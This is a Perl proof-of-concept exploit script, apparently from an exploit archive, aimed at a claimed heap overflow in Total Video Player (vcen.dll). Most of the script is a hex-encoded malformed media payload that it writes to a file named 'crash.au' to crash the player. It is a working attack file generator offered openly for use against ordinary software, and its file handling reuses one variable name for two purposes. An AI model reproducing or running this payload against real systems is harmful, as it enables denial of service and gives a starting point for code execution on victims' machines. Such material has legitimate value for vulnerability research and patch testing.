############################################################################### # Total Video Player (vcen.dll) Remote Heap Overflow Crash # By Cn4phux. # Vendor: http://www.effectmatrix.com/ # Risk : high # # The "" tag fail to handle long strings, which can lead to a Heap overflow in TVP. # This bug can be remote or local, TVP parse any supplied file for a reconized header even if the header is not corresponding # to the filetype, # Tested against Win XP SP1/SP2 FR, and 1.10/1.20 TVP. my $payload = "\x2E\x52\x4D\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00". "\x00\x06\x50\x52\x4F\x50\x00\x00\x00\x32\x00\x00\x00\x01\x78\xD4". "\x00\x01\x78\xD4\x00\x00\x05\x78\x00\x00\x05\x78\x00\x00\x00\xA0". "\x00\x00\x45\x42\x00\x00\x07\x41\x00\x03\x75\x70\x00\x00\x02\xDE". "\x00\x02\x00\x09\x43\x4F\x4E\x54\x00\x00\x00\x40\x00\x00\x00\x01". "\x20\x00\x01\x20\x00\x01\x20\x00\x2B\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x4D\x44\x50\x52\x00\x00\x00\xAC\x00\x00\x00\x00". "\x00\x01\x78\xD4\x00\x01\x78\xD4\x00\x00\x05\x78\x00\x00\x05\x78". "\x00\x00\x00\x00\x00\x00\x07\x41\x00\x00\x48\x8F\x0C\x41\x75\x64". "\x69\x6F\x20\x53\x74\x72\x65\x61\x6D\x14\x61\x75\x64\x69\x6F\x2F". "\x78\x2D\x70\x6E\x2D\x72\x65\x61\x6C\x61\x75\x64\x69\x6F\x00\x00". "\x00\x5E\x2E\x72\x61\xFD\x00\x05\x00\x00\x2E\x72\x61\x35\x00\x00". "\x00\x10\x00\x05\x00\x00\x00\x4E\x00\x19\x00\x00\x05\x78\x00\x00". "\x00\x00\x00\x0B\x0A\x36\x00\x00\x00\x00\x00\x10\x05\x78\x01\x18". "\x00\x00\x00\x00\xAC\x44\x00\x00\xAC\x44\x00\x00\x00\x10\x00\x02". "\x67\x65\x6E\x72\x63\x6F\x6F\x6B\x01\x07\x00\x00\x00\x00\x00\x10". "\x01\x00\x00\x03\x08\x00\x00\x25\x00\x00\x00\x00\x00\x08\x00\x05". "\x4D\x44\x50\x52\x00\x00\x01\xAE\x00\x00\x00\x01\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x6C\x6F\x67\x69\x63\x61". "\x6C\x2D\x66\x69\x6C\x65\x69\x6E\x66\x6F\x00\x00\x01\x70\x00\x00". "\x01\x70\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x1F\x00\x00". "\x0E\x43\x6F\x6E\x74\x65\x6E\x74\x20\x52\x61\x74\x69\x6E\x67\x00". "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x33\x00\x00\x09". "\x41\x75\x64\x69\x65\x6E\x63\x65\x73\x00\x00\x00\x02\x00\x1D\x31". "\x30\x30\x25\x20\x51\x75\x61\x6C\x69\x74\x79\x20\x44\x6F\x77\x6E". "\x6C\x6F\x61\x64\x20\x28\x56\x42\x52\x29\x3B\x00\x00\x00\x00\x1C". "\x00\x00\x09\x61\x75\x64\x69\x6F\x4D\x6F\x64\x65\x00\x00\x00\x02". "\x00\x06\x6D\x75\x73\x69\x63\x00\x00\x00\x00\x2B\x00\x00\x0D\x43". "\x72\x65\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02". "\x00\x11\x32\x2F\x32\x2F\x32\x30\x30\x36\x20\x36\x3A\x35\x37\x3A". "\x30\x31\x00\x00\x00\x00\x1A\x00\x00\x0B\x44\x65\x73\x63\x72\x69". "\x70\x74\x69\x6F\x6E\x00\x00\x00\x02\x00\x02\x20\x00\x00\x00\x00". "\x4F\x00\x00\x0C\x47\x65\x6E\x65\x72\x61\x74\x65\x64\x20\x42\x79". "\x00\x00\x00\x02\x00\x36\x48\x65\x6C\x69\x78\x20\x50\x72\x6F\x64". "\x75\x63\x65\x72\x20\x53\x44\x4B\x20\x31\x30\x2E\x30\x20\x66\x6F". "\x72\x20\x57\x69\x6E\x64\x6F\x77\x73\x2C\x20\x42\x75\x69\x6C\x64". "\x20\x31\x30\x2E\x30\x2E\x30\x2E\x35\x34\x35\x00\x00\x00\x00\x16". "\x00\x00\x08\x4B\x65\x79\x77\x6F\x72\x64\x73\x00\x00\x00\x02\x00". "\x01\x00\x00\x00\x00\x2F\x00\x00\x11\x4D\x6F\x64\x69\x66\x69\x63". "\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x11". "\x32\x2F\x32\x2F\x32\x30\x30\x36\x20\x36\x3A\x35\x37\x3A\x30\x31". "\x00\x00\x00\x00\x1D\x00\x00\x09\x76\x69\x64\x65\x6F\x4D\x6F\x64". "\x65\x00\x00\x00\x02\x00\x07\x6E\x6F\x72\x6D\x61\x6C\x00\x44\x41". "\x54\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; my $file="crash.au"; open(my $file, ">>$file") or die "Cannot open $file: $!"; print $file $payload; close($file); #Made in Algeria. /Cn4phux